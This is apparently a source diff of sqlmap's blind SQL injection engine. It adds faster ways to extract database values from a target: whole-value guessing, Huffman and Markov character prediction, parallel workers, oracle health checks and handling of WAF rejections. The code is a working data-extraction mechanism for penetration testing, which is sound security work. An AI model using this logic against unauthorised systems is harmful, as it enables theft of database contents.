||||
|
||||
def inferenceThread():
|
||||
threadData = getCurrentThreadData()
|
||||
# Each per-value bisection streams its characters to stdout and mirrors them into
|
||||
# threadData.shared.value - which is a PROCESS-GLOBAL object. Left as-is, concurrent
|
||||
# workers interleave their character output (garbled console) and stomp each other's
|
||||
# partial value. So suppress the per-char streaming here and give each worker a private
|
||||
# shared-state object; a single clean line/counter is printed per completed value below.
|
||||
threadData.disableStdOut = True
|
||||
threadData.shared = AttribDict()
|
||||
|
||||
while kb.threadContinue:
|
||||
with kb.locks.limit:
|
||||
try:
|
||||
slot = next(cursor)
|
||||
except StopIteration:
|
||||
break
|
||||
|
||||
expression = exprBuilder(indices[slot])
|
||||
try:
|
||||
_, value = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump)
|
||||
# Self-verify each value: sustained concurrent boolean load on a flaky/WAF'd target can flip
|
||||
# a bisection bit (raw retrieval has no per-char validation), so confirm the whole value and
|
||||
# re-extract on mismatch. ASCII values use ONE fast equality probe; a value carrying non-ASCII
|
||||
# (which a quoted literal may not round-trip, AND which is itself a common corruption symptom)
|
||||
# is instead confirmed by an INDEPENDENT re-extraction having to agree - a random flip will not
|
||||
# reproduce the same bytes twice. Bounded to a few tries; correctness over a marginal request.
|
||||
tries = 0
|
||||
while not isNoneValue(value) and not threadData.lowCardHit and tries < 3:
|
||||
verdict = _verifyInferredValue(expression, value)
|
||||
if verdict is True:
|
||||
break
|
||||
tries += 1
|
||||
_, other = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump)
|
||||
if verdict is None and other == value: # two independent extractions agree -> trust it
|
||||
break
|
||||
value = other # equality said wrong, or the two disagree -> adopt fresh, recheck
|
||||
except Exception as ex:
|
||||
logger.debug("parallel retrieval worker failed at slot %d ('%s')" % (slot, ex))
|
||||
value = None
|
||||
|
||||
with kb.locks.value:
|
||||
results[slot] = value
|
||||
|
||||
# Stream each retrieved value as it completes (they arrive out of order under threads, exactly
|
||||
# like the error/union dumps), so a dump shows its data live rather than a silent counter.
|
||||
if conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value):
|
||||
with kb.locks.io:
|
||||
rendered = safecharencode(unArrayizeValue(value))
|
||||
dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), "'%s'" % rendered if dump else rendered), forceOutput=True)
|
||||
|
||||
# Save/restore the calling thread's state: with a single thread runThreads runs the worker
|
||||
# INLINE on this thread, so the worker's disableStdOut/shared mutations must not leak out.
|
||||
savedPartRun = kb.partRun
|
||||
mainThreadData = getCurrentThreadData()
|
||||
savedStdOut, savedShared = mainThreadData.disableStdOut, mainThreadData.shared
|
||||
kb.partRun = context
|
||||
try:
|
||||
runThreads(min(conf.threads or 1, len(indices)) or 1, inferenceThread)
|
||||
finally:
|
||||
kb.partRun = savedPartRun
|
||||
mainThreadData.disableStdOut = savedStdOut
|
||||
mainThreadData.shared = savedShared
|
||||
if savedTechnique is not None:
|
||||
setTechnique(savedTechnique)
|
||||
|
||||
# Robustness: any slot a worker could not retrieve (None, i.e. a transient per-cell failure) is
|
||||
# re-extracted serially via the classic getValue() path - full error handling, and a persistent error
|
||||
# surfaces there - rather than being silently returned as an empty value.
|
||||
for slot in xrange(len(results)):
|
||||
if results[slot] is None and kb.threadContinue:
|
||||
results[slot] = getValue(exprBuilder(indices[slot]), union=False, error=False, dump=dump, charsetType=charsetType)
|
||||
|
||||
return results
|
||||
|
||||
@lockedmethod
|
||||
@stackedmethod
|
||||
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
|
||||
|
|
|
|||
|
|
@ -20,10 +20,12 @@ from lib.core.common import decodeIntToUnicode
|
|||
from lib.core.common import filterControlChars
|
||||
from lib.core.common import getCharset
|
||||
from lib.core.common import getCounter
|
||||
from lib.core.common import getFileItems
|
||||
from lib.core.common import getPartRun
|
||||
from lib.core.common import getTechnique
|
||||
from lib.core.common import getTechniqueData
|
||||
from lib.core.common import goGoodSamaritan
|
||||
from lib.core.common import openFile
|
||||
from lib.core.common import predictValue
|
||||
from lib.core.common import hashDBRetrieve
|
||||
from lib.core.common import hashDBWrite
|
||||
from lib.core.common import incrementCounter
|
||||
|
|
@ -34,6 +36,7 @@ from lib.core.common import singleTimeWarnMessage
|
|||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
from lib.core.enums import ADJUST_TIME_DELAY
|
||||
from lib.core.enums import CHARSET_TYPE
|
||||
|
|
@ -44,6 +47,13 @@ from lib.core.exception import SqlmapUnsupportedFeatureException
|
|||
from lib.core.settings import CHAR_INFERENCE_MARK
|
||||
from lib.core.settings import HUFFMAN_PROBE_LIMIT
|
||||
from lib.core.settings import HUFFMAN_PRIOR_WEIGHTS
|
||||
from lib.core.settings import CATALOG_IDENTIFIERS_PRIOR_PEAK
|
||||
from lib.core.settings import DUMP_CHARSET_STABLE_ROWS
|
||||
from lib.core.settings import LOW_CARDINALITY_MAX_GUESSES
|
||||
from lib.core.settings import LOW_CARDINALITY_THRESHOLD
|
||||
from lib.core.settings import NAME_PREDICTION_CONTEXTS
|
||||
from lib.core.settings import NAME_MARKOV_ORDER
|
||||
from lib.core.settings import ORACLE_LITMUS_CHECK_EVERY
|
||||
from lib.core.settings import PREDICTION_FEEDBACK_MAX_ITEMS
|
||||
from lib.core.settings import PREDICTION_FEEDBACK_MAX_LENGTH
|
||||
from lib.core.settings import INFERENCE_BLANK_BREAK
|
||||
|
|
@ -73,6 +83,174 @@ from thirdparty import six
|
|||
# outside the ASCII model (e.g. multi-byte/Unicode) - defer to the classic bisection".
|
||||
_HUFFMAN_FALLBACK = object()
|
||||
|
||||
# Cache of character-level Markov priors keyed by (order, scale, dbms); built once per process
|
||||
_huffmanPriorCache = {}
|
||||
|
||||
def normalizedExpression(expression):
|
||||
"""
|
||||
Row-independent form of a per-row retrieval expression: the paginated offset/limit that varies
|
||||
from row to row is masked so every row of the same column maps to a single key. Used to group a
|
||||
column's values for low-cardinality guessing and for its per-column online Huffman model.
|
||||
|
||||
>>> normalizedExpression("SELECT name FROM users LIMIT 3,1") == normalizedExpression("SELECT name FROM users LIMIT 7,1")
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = expression
|
||||
|
||||
for pattern in (r"\bLIMIT\s+\d+\s*,\s*\d+", r"\bLIMIT\s+\d+\s+OFFSET\s+\d+", r"\bOFFSET\s+\d+", r"\bLIMIT\s+\d+", r"\bROWNUM\b\s*[<>=]+\s*\d+", r"\bTOP\s+\d+", r"\bFETCH\s+(?:FIRST|NEXT)\s+\d+"):
|
||||
retVal = re.sub(pattern, lambda match: re.sub(r"\d+", "?", match.group(0)), retVal, flags=re.I)
|
||||
|
||||
return retVal
|
||||
|
||||
def getHuffmanPrior(order, scale, dbms=None):
|
||||
"""
|
||||
Character-level order-N Markov model {context: {ordinal: count}} used to warm the Huffman
|
||||
set-membership tree during blind NAME enumeration (so it predicts from the first character rather
|
||||
than cold). Trained on the app-identifier wordlists (common-tables/common-columns) plus, when the
|
||||
back-end is fingerprinted, the system/catalog identifiers harvested for that DBMS (from the matching
|
||||
[<DBMS>] section of catalog-identifiers.txt - a single global model dilutes across dialects).
|
||||
Per-context counts are scaled to a peak of `scale`. Retrieval is correct regardless of this model.
|
||||
"""
|
||||
|
||||
if (order, scale, dbms) in _huffmanPriorCache:
|
||||
return _huffmanPriorCache[(order, scale, dbms)]
|
||||
|
||||
prior = {}
|
||||
names = []
|
||||
|
||||
for path in (paths.COMMON_COLUMNS, paths.COMMON_TABLES):
|
||||
try:
|
||||
names.extend(getFileItems(path))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if dbms:
|
||||
try:
|
||||
with openFile(paths.CATALOG_IDENTIFIERS, "r", errors="ignore") as f:
|
||||
section = None
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith('#'):
|
||||
continue
|
||||
if line.startswith('[') and line.endswith(']'):
|
||||
section = line[1:-1]
|
||||
elif section == dbms:
|
||||
names.append(line)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
for name in names:
|
||||
terminated = name + "\x00"
|
||||
for i in xrange(len(terminated)):
|
||||
ordinal = ord(terminated[i])
|
||||
if ordinal < 128:
|
||||
counts = prior.setdefault(terminated[max(0, i - order):i], {})
|
||||
counts[ordinal] = counts.get(ordinal, 0) + 1
|
||||
|
||||
for counts in prior.values():
|
||||
peak = max(counts.values()) or 1
|
||||
for ordinal in counts:
|
||||
counts[ordinal] = max(1, int(round(counts[ordinal] * float(scale) / peak)))
|
||||
|
||||
_huffmanPriorCache[(order, scale, dbms)] = prior
|
||||
return prior
|
||||
|
||||
def contextWeights(model, prior, order, prefix):
|
||||
"""
|
||||
Combined next-character weights P(next | last `order` chars) from the per-run online `model` plus
|
||||
the optional shipped Markov `prior`, backing off to shorter contexts (Katz-style) when the deepest
|
||||
context has not been seen yet. The online model is snapshotted under kb.locks.prediction because
|
||||
value-parallel workers may mutate it concurrently (a bare iteration could otherwise raise).
|
||||
"""
|
||||
|
||||
weights = {}
|
||||
context = prefix[-order:] if order > 0 else ""
|
||||
|
||||
while True:
|
||||
with kb.locks.prediction:
|
||||
online = dict(model.get(context) or ())
|
||||
for source in (online, prior.get(context) if prior is not None else None):
|
||||
if source:
|
||||
for symbol, count in source.items():
|
||||
weights[symbol] = weights.get(symbol, 0) + count
|
||||
|
||||
if weights or not context:
|
||||
break
|
||||
|
||||
context = context[1:]
|
||||
|
||||
return weights
|
||||
|
||||
def valueMatchCondition(expressionUnescaped, value):
|
||||
"""
|
||||
Boolean SQL that is TRUE iff (expressionUnescaped) equals the whole `value` (extracted so far as a
|
||||
string), or None when a whole-value equality cannot be trusted and the caller must fall back to
|
||||
per-character extraction. Used by low-cardinality guessing and by the value-parallel self-verification.
|
||||
|
||||
Returns None for values containing non-ASCII characters: those are extracted correctly byte-wise by
|
||||
the classic bisection, but a single quoted/CHAR()-encoded literal may not round-trip to the same
|
||||
bytes on every back-end, so a whole-value "=" could spuriously miss (and, for verification, drive a
|
||||
needless re-extraction). ASCII values compare reliably.
|
||||
|
||||
On SQLite (dynamically typed) the dump's COALESCE(col, ...) wrapper loses column affinity, so for a
|
||||
numeric column "1 = '1'" is FALSE and the quoted form would never hit; there we ALSO test the bare-
|
||||
number form. That extra form is emitted ONLY for SQLite: on strictly-typed engines (e.g. PostgreSQL)
|
||||
"text = 1" is a hard type error that would abort the whole boolean, and there the expression is already
|
||||
text-cast so the quoted form matches anyway. Correctness is unaffected either way - this only decides
|
||||
whether a whole-value shortcut hits or falls back to per-character extraction.
|
||||
|
||||
>>> valueMatchCondition("q", "abc").count("OR")
|
||||
0
|
||||
>>> valueMatchCondition("q", u"caf\\xe9") is None
|
||||
True
|
||||
"""
|
||||
|
||||
if value is None or any(ord(_) >= 128 for _ in value):
|
||||
return None
|
||||
|
||||
quoted = unescaper.escape("'%s'" % value) if "'" not in value else unescaper.escape("%s" % value, quote=False)
|
||||
condition = "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, quoted)
|
||||
|
||||
if re.match(r"\A-?\d+(\.\d+)?\Z", value) and Backend.getIdentifiedDbms() == DBMS.SQLITE:
|
||||
condition = "(%s OR (%s)%s%s)" % (condition, expressionUnescaped, INFERENCE_EQUALS_CHAR, value)
|
||||
|
||||
return condition
|
||||
|
||||
def oracleReliabilityLitmus(expressionUnescaped, value, timeBasedCompare):
|
||||
"""
|
||||
Known-answer differential health-check on the inference oracle, using the value just extracted.
|
||||
Fires TWO probes on the SAME cell: "(expr) = value" (must be TRUE) and "(expr) = <value with one
|
||||
character corrupted>" (must be FALSE). A healthy oracle answers TRUE/FALSE; an always-true channel
|
||||
(e.g. a WAF returning 200 for everything, a reads-everything-true endpoint) trips the FALSE probe,
|
||||
and a flaky/degraded one trips either - so silent data corruption becomes a detectable signal.
|
||||
|
||||
Returns True if the oracle behaved consistently (or the check is not applicable), False on a detected
|
||||
inconsistency. Skips (returns True) for values valueMatchCondition() cannot reliably compare (non-ASCII).
|
||||
"""
|
||||
|
||||
if not value or valueMatchCondition(expressionUnescaped, value) is None:
|
||||
return True
|
||||
|
||||
# a definitely-different copy: flip the last character to a neighbour that cannot equal it
|
||||
corrupt = value[:-1] + ("a" if value[-1] != "a" else "b")
|
||||
corruptCondition = valueMatchCondition(expressionUnescaped, corrupt)
|
||||
if corruptCondition is None:
|
||||
return True
|
||||
|
||||
try:
|
||||
truthy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, valueMatchCondition(expressionUnescaped, value))))
|
||||
mustBeTrue = Request.queryPage(agent.payload(newValue=truthy), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
falsy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, corruptCondition)))
|
||||
mustBeFalse = Request.queryPage(agent.payload(newValue=falsy), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
except Exception:
|
||||
return True # a transient hiccup is not evidence of an unreliable oracle
|
||||
|
||||
return bool(mustBeTrue) and not bool(mustBeFalse)
|
||||
|
||||
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
|
||||
"""
|
||||
Bisection algorithm that can be used to perform blind SQL injection
|
||||
|
|
@ -84,6 +262,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
partialValue = u""
|
||||
finalValue = None
|
||||
retrievedLength = 0
|
||||
columnKey = None
|
||||
|
||||
if payload is None:
|
||||
return 0, None
|
||||
|
|
@ -97,6 +276,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
asciiTbl = getCharset(charsetType)
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
threadData.lowCardHit = False # set when this value is confirmed by the (self-verifying) low-card guess
|
||||
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
||||
retVal = hashDBRetrieve(expression, checkConf=True)
|
||||
|
||||
|
|
@ -139,14 +319,14 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
expression = match.group(2).strip()
|
||||
|
||||
try:
|
||||
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used, or the
|
||||
# engine is called from the API, or a JSON report is being collected (so enumeration output is tagged)
|
||||
if conf.predictOutput:
|
||||
kb.partRun = getPartRun()
|
||||
elif conf.api or conf.reportJson:
|
||||
kb.partRun = getPartRun(alias=False)
|
||||
else:
|
||||
kb.partRun = None
|
||||
# kb.partRun tags the enumeration context so predictive inference (predictValue) fires for BOTH
|
||||
# the value-parallel and the classic serial name-enumeration paths. It is derived from the call
|
||||
# stack here (alias form for prediction; raw for API/JSON tagging); the derivation only overwrites
|
||||
# when it finds a match, so it does NOT clobber the context the value-parallel helper set for its
|
||||
# worker threads (whose call stack does not include the enumeration method -> getPartRun is None).
|
||||
derivedPartRun = getPartRun(alias=not (conf.api or conf.reportJson))
|
||||
if derivedPartRun is not None:
|
||||
kb.partRun = derivedPartRun
|
||||
|
||||
if partialValue:
|
||||
firstChar = len(partialValue)
|
||||
|
|
@ -180,6 +360,60 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
else:
|
||||
expressionUnescaped = unescaper.escape(expression)
|
||||
|
||||
# Row-independent key for this column (pagination offset masked), grouping all of a column's
|
||||
# rows for low-cardinality guessing and for its own per-column online Huffman model.
|
||||
columnKey = normalizedExpression(expression) if dump else None
|
||||
|
||||
# Low-cardinality whole-value guessing: when the distinct values already seen for this column are
|
||||
# few (<= LOW_CARDINALITY_THRESHOLD), confirm the current cell by equality against each of them
|
||||
# (one request on a hit) before per-character extraction - a large win on the enum/flag/status/
|
||||
# category/type columns that dominate real tables. Self-verifying (a wrong candidate simply fails).
|
||||
# Especially valuable for TIME-BASED blind: a hit confirms the whole value in a single delayed
|
||||
# request instead of ~7 delays/char x N chars. The repetition gate below ensures it only ever fires
|
||||
# on genuinely low-cardinality columns, so unique identifier names never pay a wasted probe/delay.
|
||||
if columnKey is not None and not partialValue:
|
||||
# Snapshot the shared cache under the lock (value-parallel workers may mutate it concurrently).
|
||||
with kb.locks.prediction:
|
||||
seen = dict(kb.lowCardCache.get(columnKey) or ())
|
||||
# Arm only once SOME value has repeated (max count >= 2): that is the proof the column is
|
||||
# low-cardinality, so an all-unique column (primary key, hash, free text) never spends a probe.
|
||||
# Once armed, try at most LOW_CARDINALITY_MAX_GUESSES candidates (most frequent first), so a
|
||||
# column that trips the threshold with many near-unique values wastes only a bounded number of
|
||||
# probes. A wrong guess costs one probe (self-verifying); a right one confirms the whole value.
|
||||
if seen and len(seen) <= LOW_CARDINALITY_THRESHOLD and max(seen.values()) >= 2:
|
||||
for candidate in sorted(seen, key=lambda value: -seen[value])[:LOW_CARDINALITY_MAX_GUESSES]:
|
||||
matchCondition = valueMatchCondition(expressionUnescaped, candidate)
|
||||
if matchCondition is None: # non-ASCII: no reliable whole-value equality, extract per-char
|
||||
continue
|
||||
forgedQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition)))
|
||||
hit = Request.queryPage(agent.payload(newValue=forgedQuery), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
if hit and timeBasedCompare:
|
||||
# A single time-based boolean is noisy; confirm the whole-value hit with a
|
||||
# not-equals check (validateChar spirit) before trusting it, so timing jitter can
|
||||
# never ship a wrong low-cardinality value. Still ~2 delayed requests/value vs the
|
||||
# ~7-delays/char x N of full extraction.
|
||||
notEqualsQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, "NOT(%s)" % matchCondition)))
|
||||
hit = not Request.queryPage(agent.payload(newValue=notEqualsQuery), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
if hit:
|
||||
threadData.lowCardHit = True
|
||||
return getCounter(getTechnique()), candidate
|
||||
|
||||
# Model driving the Huffman set-membership tree. Name enumeration keys on the enumeration context
|
||||
# and is seeded with the fingerprinted back-end's identifier prior, so the tree predicts a name
|
||||
# from the first character (structured, low-entropy identifiers). A data dump uses a PER-COLUMN
|
||||
# order-0 model: each column learns its own character distribution, so a column restricted to few
|
||||
# characters (hex/uuid, digits, dates, a constant/NULL placeholder) is forced from those alone
|
||||
# (e.g. ~4 requests/char on hex instead of ~6, ~1 on a constant) with no cross-column dilution.
|
||||
# Order 0 needs no sequential prefix, so it works under the position-parallel (per-value) threads
|
||||
# too; a higher-order per-column model was measured to lose to its own cold-start, so order 0 it is.
|
||||
if kb.partRun in NAME_PREDICTION_CONTEXTS:
|
||||
huffmanKey, huffmanOrder = kb.partRun, NAME_MARKOV_ORDER
|
||||
huffmanPrior = getHuffmanPrior(NAME_MARKOV_ORDER, CATALOG_IDENTIFIERS_PRIOR_PEAK, Backend.getIdentifiedDbms())
|
||||
else:
|
||||
huffmanKey, huffmanOrder, huffmanPrior = columnKey, 0, None
|
||||
|
||||
if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int):
|
||||
length = int(length)
|
||||
else:
|
||||
|
|
@ -211,7 +445,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
else:
|
||||
numThreads = 1
|
||||
|
||||
if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)):
|
||||
if conf.threads == 1 and not timeBasedCompare:
|
||||
warnMsg = "running in a single-thread mode. Please consider "
|
||||
warnMsg += "usage of option '--threads' for faster data retrieval"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
|
@ -295,12 +529,21 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
back to the classic bisection. Returns the character, or None to fall back.
|
||||
"""
|
||||
ESCAPE = -1
|
||||
model = kb.huffmanModel
|
||||
model = kb.huffmanModel.setdefault(huffmanKey, {})
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
# Next-character weights P(next | last huffmanOrder chars) from this retrieval's own online
|
||||
# model plus, for name enumeration, the shipped identifier prior (so the tree is warm from the
|
||||
# first character); order 0 collapses to the classic single-context adaptive model. Retrieval
|
||||
# is correct regardless of the weights (the tree spans the whole range plus an ESCAPE leaf), so
|
||||
# the model - even raced under threads - only ever affects speed, never the returned value.
|
||||
context = partialValue[-huffmanOrder:] if huffmanOrder > 0 else ""
|
||||
weights = contextWeights(model, huffmanPrior, huffmanOrder, partialValue)
|
||||
|
||||
heap = []
|
||||
for order, ordinal in enumerate(xrange(128)):
|
||||
heapq.heappush(heap, (model.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,)))
|
||||
heapq.heappush(heap, (max(model.get(ESCAPE, 0), 1), 128, (ESCAPE,)))
|
||||
heapq.heappush(heap, (weights.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,)))
|
||||
heapq.heappush(heap, (max(weights.get(ESCAPE, 0), 1), 128, (ESCAPE,)))
|
||||
|
||||
counter = 129
|
||||
while len(heap) > 1:
|
||||
|
|
@ -337,12 +580,23 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(getTechnique())
|
||||
|
||||
# Guard against target-side length limits / WAFs that reject the (potentially long)
|
||||
# "IN (...)" list: an HTTP error code that is not the technique's own true/false code means
|
||||
# this membership query was rejected (e.g. 414 URI Too Long, 413, 400, 403), so the walk
|
||||
# cannot be trusted. Abandon it and hand the character to the classic short-query ('>' / '=')
|
||||
# bisection, which re-extracts and validates it; the escape counter in getChar() latches
|
||||
# Huffman off (kb.disableHuffman) if the rejection keeps happening. Gated on >= 400 so a
|
||||
# normal content-based (200/200) response never trips it.
|
||||
if not timeBasedCompare and threadData.lastCode is not None and threadData.lastCode >= 400 and (getTechniqueData() is None or threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)):
|
||||
return _HUFFMAN_FALLBACK
|
||||
|
||||
node = testNode if result else otherNode
|
||||
|
||||
value = node[0]
|
||||
|
||||
if value == ESCAPE:
|
||||
model[ESCAPE] = model.get(ESCAPE, 0) + 1
|
||||
with kb.locks.prediction:
|
||||
model.setdefault(context, {})[ESCAPE] = model.setdefault(context, {}).get(ESCAPE, 0) + 1
|
||||
return _HUFFMAN_FALLBACK
|
||||
|
||||
if value == 0:
|
||||
|
|
@ -365,13 +619,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
kb.disableHuffman = True
|
||||
return _HUFFMAN_FALLBACK
|
||||
|
||||
model[value] = model.get(value, 0) + 1
|
||||
with kb.locks.prediction:
|
||||
model.setdefault(context, {})[value] = model.setdefault(context, {}).get(value, 0) + 1
|
||||
return decodeIntToUnicode(value)
|
||||
|
||||
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
|
||||
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None, restricted=False):
|
||||
"""
|
||||
continuousOrder means that distance between each two neighbour's
|
||||
numerical values is exactly 1
|
||||
|
||||
restricted means charTbl is a narrowed per-column observed range (time-based only): a character
|
||||
landing outside it fails validateChar and is re-extracted over the full charset.
|
||||
"""
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
|
|
@ -381,7 +639,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
if result:
|
||||
return result
|
||||
|
||||
if (not conf.noHuffman and not kb.disableHuffman and dump and continuousOrder and charsetType is None and not timeBasedCompare
|
||||
# Huffman set-membership applies to boolean-based dumps and name enumeration. It stays off for
|
||||
# time-based, where each membership step is timing-noisy and lacks per-character validation
|
||||
# (measured to trade accuracy for little/no gain there); time-based relies on plain bisection
|
||||
# plus low-cardinality whole-value guessing instead.
|
||||
if (not conf.noHuffman and not kb.disableHuffman and (dump or kb.partRun in NAME_PREDICTION_CONTEXTS) and continuousOrder and charsetType is None and not timeBasedCompare
|
||||
and ("%s%s" % (INFERENCE_GREATER_CHAR, "%d")) in payload
|
||||
and ("'%s'" % CHAR_INFERENCE_MARK) not in payload):
|
||||
kb.huffmanProbes = (kb.huffmanProbes or 0) + 1
|
||||
|
|
@ -545,6 +807,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
|
||||
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
|
||||
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
|
||||
if restricted:
|
||||
# the character fell outside this column's observed range - re-extract
|
||||
# over the full charset (not timing noise, so no delay increase / retry count)
|
||||
return getChar(idx, asciiTbl, True, retried=retried)
|
||||
if not kb.originalTimeDelay:
|
||||
kb.originalTimeDelay = conf.timeSec
|
||||
|
||||
|
|
@ -625,6 +891,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
return None
|
||||
else:
|
||||
return decodeIntToUnicode(candidates[0])
|
||||
elif restricted:
|
||||
# the self-validating '=' failed: the character is outside this column's observed set
|
||||
# (or is end-of-string) - re-extract over the full charset, which validates the value
|
||||
# and detects end-of-string correctly
|
||||
return getChar(idx, asciiTbl, True, retried=retried)
|
||||
|
||||
# Go multi-threading (--threads > 1)
|
||||
if numThreads > 1 and isinstance(length, int) and length > 1:
|
||||
|
|
@ -732,11 +1003,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
# Common prediction feature (a.k.a. "good samaritan")
|
||||
# NOTE: to be used only when multi-threading is not set for
|
||||
# the moment
|
||||
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
|
||||
if kb.partRun in NAME_PREDICTION_CONTEXTS and len(partialValue) > 0:
|
||||
val = None
|
||||
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
|
||||
commonValue, commonPattern, commonCharset, otherCharset = predictValue(partialValue, asciiTbl)
|
||||
|
||||
# If there is one single output in common-outputs, check
|
||||
# If a single wordlist entry matches the prefix, confirm
|
||||
# it via equal against the query output
|
||||
if commonValue is not None:
|
||||
# One-shot query containing equals commonValue
|
||||
|
|
@ -778,19 +1049,45 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
val = commonPattern[index - 1:]
|
||||
index += len(val) - 1
|
||||
|
||||
# Otherwise if there is no commonValue (single match from
|
||||
# txt/common-outputs.txt) and no commonPattern
|
||||
# (common pattern) use the returned common charset only
|
||||
# to retrieve the query output
|
||||
if not val and commonCharset:
|
||||
val = getChar(index, commonCharset, False)
|
||||
|
||||
# If we had no luck with commonValue and common charset,
|
||||
# use the returned other charset
|
||||
# Char-by-char fallback. When Huffman is actually active it is driven over the full
|
||||
# (continuous) charset: the corpus-Markov-seeded tree puts the single likeliest next
|
||||
# character at its root (~1 request), subsuming the common/other charset split. When
|
||||
# Huffman is unavailable (--no-huffman, latched off after repeated escapes, or TIME-BASED
|
||||
# where getChar disables it) the classic reordered-charset bisection is used instead - so
|
||||
# the predicted commonCharset ordering is not thrown away (time-based would otherwise pay
|
||||
# full-charset bisection for every character).
|
||||
if not val:
|
||||
val = getChar(index, otherCharset, otherCharset == asciiTbl)
|
||||
if not conf.noHuffman and not kb.disableHuffman and not timeBasedCompare:
|
||||
val = getChar(index, asciiTbl, True)
|
||||
else:
|
||||
if commonCharset:
|
||||
val = getChar(index, commonCharset, False)
|
||||
|
||||
if not val:
|
||||
val = getChar(index, otherCharset, otherCharset == asciiTbl)
|
||||
else:
|
||||
val = getChar(index, asciiTbl, not (charsetType is None and conf.charset))
|
||||
# Time-based dump: once a column's character set has proven closed (unchanged for
|
||||
# DUMP_CHARSET_STABLE_ROWS consecutive rows), search only those
|
||||
# observed ordinals via the bit-search (continuousOrder=False), whose final '=' equality
|
||||
# self-validates the character (no separate validateChar). A narrow-charset column (hex,
|
||||
# digits, dates, decimals) collapses from ~log2(full charset)+1 toward ~log2(set)+1
|
||||
# delayed requests/char. A character outside the observed set makes that '=' fail and is
|
||||
# re-extracted over the full charset (see the restricted escalation in getChar). Time-based
|
||||
# only: boolean has no per-character validation to catch such a miss (and uses Huffman).
|
||||
restrictedTbl = None
|
||||
if (dump and timeBasedCompare and columnKey is not None and charsetType is None and not conf.charset
|
||||
and kb.dumpCharsetStable.get(columnKey, 0) >= DUMP_CHARSET_STABLE_ROWS):
|
||||
with kb.locks.prediction:
|
||||
observed = set(kb.dumpCharset.get(columnKey) or ()) # snapshot (value-parallel safe)
|
||||
if observed and len(observed) <= 64:
|
||||
# include the 0 end-of-string sentinel so end is detected in-band (the bit-search
|
||||
# returns None on 0), avoiding a full-charset escalation at the end of every value
|
||||
restrictedTbl = sorted(observed | set((0,)))
|
||||
|
||||
if restrictedTbl is not None:
|
||||
val = getChar(index, restrictedTbl, False, expand=False, restricted=True)
|
||||
else:
|
||||
val = getChar(index, asciiTbl, not (charsetType is None and conf.charset))
|
||||
|
||||
if val is None:
|
||||
finalValue = partialValue
|
||||
|
|
@ -831,11 +1128,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
if not (conf.firstChar or conf.lastChar): # Note: --first/--last give a range-limited (non-complete) output; caching it unmarked would let a later resume serve the truncated value as the full one
|
||||
hashDBWrite(expression, finalValue)
|
||||
|
||||
